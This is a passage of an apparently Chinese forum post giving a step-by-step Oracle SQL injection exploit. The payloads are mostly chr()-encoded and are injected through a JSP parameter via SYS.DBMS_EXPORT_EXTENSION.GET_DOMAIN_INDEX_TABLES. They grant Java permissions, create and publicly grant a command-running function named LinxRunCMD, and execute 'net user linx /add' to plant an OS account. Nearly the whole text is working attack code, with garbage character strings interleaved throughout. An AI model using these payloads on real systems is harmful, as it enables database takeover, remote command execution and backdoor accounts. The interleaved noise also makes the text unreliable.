$ m( Z* ~' m: dchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||" {# l/ w+ I! o& K$ w0 b- c; {( F
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
' X% {  S" y5 fchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||1 R2 |4 X# P- x) Z( a2 R
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||0 O5 w: l( c+ r* Y7 k, X
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
' b. v) f3 P3 q+ \- }chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
+ B1 y6 N2 a! V* gchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||6 S1 e8 s3 I. E% }% `5 f: W: f
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
( a, c3 y2 K- U+ N9 Bchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||0 B3 B- m! L: C+ i7 a. r0 V
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
/ U7 k* J4 v5 w( v; Dchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||) u& |( T3 b2 K9 x4 `
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||. A( g7 q' m, G+ ?% h: u$ v
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
; M* O0 M  s/ b  w' T  |4 z: x, Vchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
% A$ }; w2 a; U' t) ]- |3 |. q" M1 `chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45); }4 e5 J) F/ q1 ^; m+ v* g+ h" ]
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 d) S* c+ w8 Y
! _. W0 @1 f8 L: O' K- G); S' v& T3 F& k, E6 a
7 s$ y+ p. l; ~, \- Q
------------------------------7 C' m% o: H9 [9 S$ d/ O
$ M- n; s( k' e5 r) T
2.赋Java权限
9 }8 ?: X' b. @+ X. `- x- L/xxx.jsp?id=1 and chr(49)<>chr(50)||(1 z* ^+ k' t6 V

* I; b5 S) v5 W* P. w7 _, \) ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 i3 n, {" W! u+ mchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
9 ^) ^+ }( \# N9 O& [; p1 U8 jchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||  L" N0 R( k3 q  C+ k3 D. @
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
5 V) L# ^) O8 ?9 e+ achr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
  m5 }+ J( B6 p. ^2 f8 bchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
; V+ u( S, e# F! j" Echr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
; ^' c; B+ u0 Rchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||& N) [; a! m' O5 U' J; h5 D+ s
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||/ W" T) A( ^; V  s
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
' P# U$ ^0 V3 u' R& x,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
" E6 i; \9 I5 m+ y
/ O7 [$ I1 u4 K, S) ~8 p)3 g# L- |  `% i2 A: t2 K6 p; T5 \+ I

1 z  O4 T& P6 e  l* }9 sreadfile函数的ascii版就不写了,见谅。
" P( p# a# l3 t1 B" \$ o' a- B9 m) {# b" n5 @1 S
3.创建函数
! Q( H% d/ `8 }* [
, q3 p7 M/ V3 W/ Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),3 P; o7 R: i% t: m
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||2 R& z0 N2 F: ]5 z( j
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||, Z. v7 B$ [0 g: C, O% {$ D) J  B0 B
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||, T2 C) U5 V1 I; H' \
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
- E: K: F' K- C: A& fchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
% w5 w. A- u  h$ b4 [chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||9 ~; S9 Q) p! |4 {. Q/ O
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||* U1 \  T# d! D$ O" H0 K( b
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||3 r. y+ [+ d$ p) s$ f
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
" M( {% W, Z# ^. b( F) n7 x. dchr(59)||chr(45)||chr(45)0 j7 `/ b9 D( Z' M  [
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
8 ?2 y# V7 e; f
6 V2 d+ C6 P* @) U  O, E# Z& p
9 i1 U4 T8 u( p# G2 b, Y1 D9 [8 P5 `
* R$ K8 q4 q) U7 D6 l4 S) B1 w4.赋public执行函数的权限3 [0 g' I$ T8 D

7 g, }! P2 @, k) P, ?) k( dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),5 x8 t7 @+ A4 C; Z3 y
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||+ C9 I8 x& D" p; _' J3 ^% a
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 D7 A8 }  H* Achr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
. b" i) a7 }/ D  O- j$ uchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
4 X3 w6 ~8 D) {$ gchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
, @5 N  A  e' o! p4 q7 K6 |! h0 uchr(59)||chr(45)||chr(45)
8 ^' S9 ], O; n,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 Z" T$ _1 U# L6 m

' ?# D. F3 g; `! I' z3 y6 \! h5 h# E. g" i8 q2 `4 A( A, l$ o' W2 f
4 O/ h2 L: ]/ F7 w9 s* A$ E8 \3 h( X; G5 S
5.执行命令:
, e2 A' W3 |/ b* U) E
! z: o7 m& U( _0 b5 X9 x/ d# d! H/xxx.jsp?id=1 and chr(49)<>chr(32)||(
  ]  K5 x. |  sselect sys.LinxRunCMD('cmd /c net user linx /add') from dual2 J" O+ L% C3 y! F+ X
)6 P: X; S* k3 k' @9 v

, `/ Q; H& k1 \9 ?
) l( e" f; u/ s) C! \2 }$ l/xxx.jsp?id=1 and chr(49)<>chr(32)||(
" U# D  K2 I/ l$ ?0 E" [" d( Jselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
- z9 S0 X# y" B4 k* ?7 w& A# ?)
# i; o% t- x- g/ P  S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表